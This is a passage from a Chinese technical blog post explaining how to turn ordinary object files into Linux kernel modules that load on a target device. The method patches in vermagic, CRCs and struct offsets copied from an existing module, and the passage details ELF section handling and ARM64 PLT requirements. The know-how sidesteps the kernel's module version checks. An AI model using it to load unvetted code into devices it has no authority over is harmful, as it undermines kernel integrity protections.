&#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">搞清楚内核加载路径后，我设计了两阶段流水线：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="375" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">开发机                              目标设备</span><span leaf=""><br/></span><span leaf="">--------                            ---------</span><span leaf=""><br/></span><span leaf="">.o 文件                             reference.ko (任意已有模块)</span><span leaf=""><br/></span><span leaf="">  │                                     │</span><span leaf=""><br/></span><span leaf="">  ▼                                     ▼</span><span leaf=""><br/></span><span leaf="">[离线转换] ──► .ko (带占位值) ──► [原位修补] ──► .ko (可加载)</span></code></pre><p data-line="384" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">阶段一（离线转换）在开发机上完成 ELF 结构层面的转换：删掉不需要的段、保留需要的段、补充内核元数据段、重新索引符号和重定位。所有不确定的内核参数填入占位值。</span></p><p data-line="386" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">阶段二（原位修补）在目标设备上运行。找一个目标设备上已有的、能正常加载的 .ko 作为&#34;参考&#34;，从中提取所有内核特定参数，覆写占位值。</span></p><p data-line="388" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这个设计的核心思想是：转换工具不需要知道目标内核的任何细节。vermagic、struct module 大小、字段偏移、CRC——全部由参考 .ko 提供。</span></p><h3 data-line="390" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">段、符号与重定位</span></h3><p data-line="392" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">以下按排查难度排序。</span></p><p data-line="394" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">坑 1：段的白名单与黑名单</span></p><p data-line="396" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">转换的第一步：决定哪些段保留、哪些丢弃。</span></p><p data-line="398" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">必须丢弃的段：</span></p><ul style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><p><span leaf="">所有动态链接相关的（</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.dynamic</span></code><span leaf="">, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.dynsym</span></code><span leaf="">, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.dynstr</span></code><span leaf="">, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.hash</span></code><span leaf="">, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.gnu.hash</span></code><span leaf=""> 等共十余个段）</span></p></li><li><p><span leaf="">GOT/PLT 相关段（</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.got</span></code><span leaf="">, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.got.plt</span></code><span leaf="">, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.plt.got</span></code><span leaf="">, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.plt.sec</span></code><span leaf="">）</span></p></li><li><p><span leaf="">原始的重定位段（</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.rel.*</span></code><span leaf="">, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.rela.*</span></code><span leaf="">）——因为段索引已变，旧的重定位条目引用的段索引失效，必须删除后基于新段表重新生成</span></p></li></ul><p data-line="403" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">必须保留的段：</span></p><ul style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.text</span></code><p><span leaf="">, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.data</span></code><span leaf="">, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.rodata</span></code><span leaf="">, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.bss</span></code><span leaf="">（基本代码和数据）</span></p></li><li><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.init_array</span></code><p><span leaf="">, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.eh_frame</span></code><span leaf=""> 等辅助段</span></p></li><li><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.comment</span></code><p><span leaf="">, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.note.*</span></code><span leaf=""> 等信息段</span></p></li></ul><p data-line="408" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">ARM64 上必须额外创建的空段：</span></p><p data-line="410" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">从上面 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">module_frob_arch_sections()</span></code><span leaf=""> 的源码可以看到，ARM64 直接按段名查找 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.plt</span></code><span leaf=""> 和 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.init.plt</span></code><span leaf="">，找不到就返回 -ENOEXEC。ARM64 的链接脚本 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.lds.h</span></code><span leaf=""> 也明确定义了这三个空段。所以转换阶段必须生成：</span></p><ul style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.plt</span></code><p><span leaf="">：12 字节，SHT_NOBITS，SHF_EXECINSTR | SHF_ALLOC</span></p></li><li><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.init.plt</span></code><p><span leaf="">：12 字节，SHT_NOBITS，SHF_EXECINSTR | SHF_ALLOC</span></p></li><li><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.text.ftrace_trampoline</span></code><p><span leaf="">：12 字节，SHT_NOBITS，SHF_EXECINSTR | SHF_ALLOC</span></p></li></ul><p data-line="416" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">缺任何一个，内核直接拒载，错误信息只是 &#34;module PLT section(s) missing&#34;，不给具体缺少哪个。</span></p><p data-line="418" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">原始重定位段必须删除。删除了部分段、重构了段索引后，旧的重定位条目引用的段索引已失效。如果新旧重定位段并存（比如两套 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.rela.text</span></code><span leaf="">），加载器在处理第二条重定位时发现目标位置已有非零值，会报 &#34;Invalid relocation target, existing value is nonzero&#34;。</span></p><p data-line="420" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">坑 2：ET_REL 的地址是段相对的，库给你的可能是绝对的</span></p><p data-line="422" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">ET_REL 文件里的地址全部是段相对的：</span></p><ul style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><p><span leaf="">符号的 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">st_value</span></code><span leaf=""> = 该符号在其所属段内的偏移</span></p></li><li><p><span leaf="">重定位的 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">r_offset</span></code><span leaf=""> = 在目标段内的偏移位置</span></p></li></ul><p data-line="427" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">比如符号的 value 应该是类似 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">0x10</span></code><span leaf=""> 的值（&#34;函数入口在 .text 段偏移 0x10 处&#34;），绝对不是 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">0x7f0000001000</span></code><span leaf=""> 这样的虚拟地址。</span></p><p data-line="429" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">对应到内核源码，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">simplify_symbols()</span></code><span leaf=""> 里的 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">default</span></code><span leaf=""> 分支：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="431" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span style="color: rgb(0, 0, 255);"><span leaf="">default</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">    secbase = info-&gt;sechdrs[sym[i].st_shndx].sh_addr;  </span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 段的加载基址</span></span><span leaf=""><br/></span><span leaf="">    sym[i].st_value += secbase;                          </span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// st_value + 段基址 = 绝对地址</span></span></code></pre><p data-line="437" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">内核假设 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">st_value</span></code><span leaf=""> 是段相对偏移，然后加上段加载基址得到最终地址。如果你的 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">st_value</span></code><span leaf=""> 已经是个绝对 VA，再加上段基址就飞到九霄云外了。</span></p><p data-line="439" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">但 ELF 解析库在处理 ET_REL 时，某些 API 返回的却是绝对虚拟地址——内部走的是处理 ET_DYN/ET_EXEC 的逻辑分支。</span></p><p data-line="441" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">因此需要把所有符号值和重定位偏移都显式减掉所在段的虚拟基地址，不能依赖&#34;ET_REL 的段 VA 都是 0&#34;的假设。</span></p><p data-line="443" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, 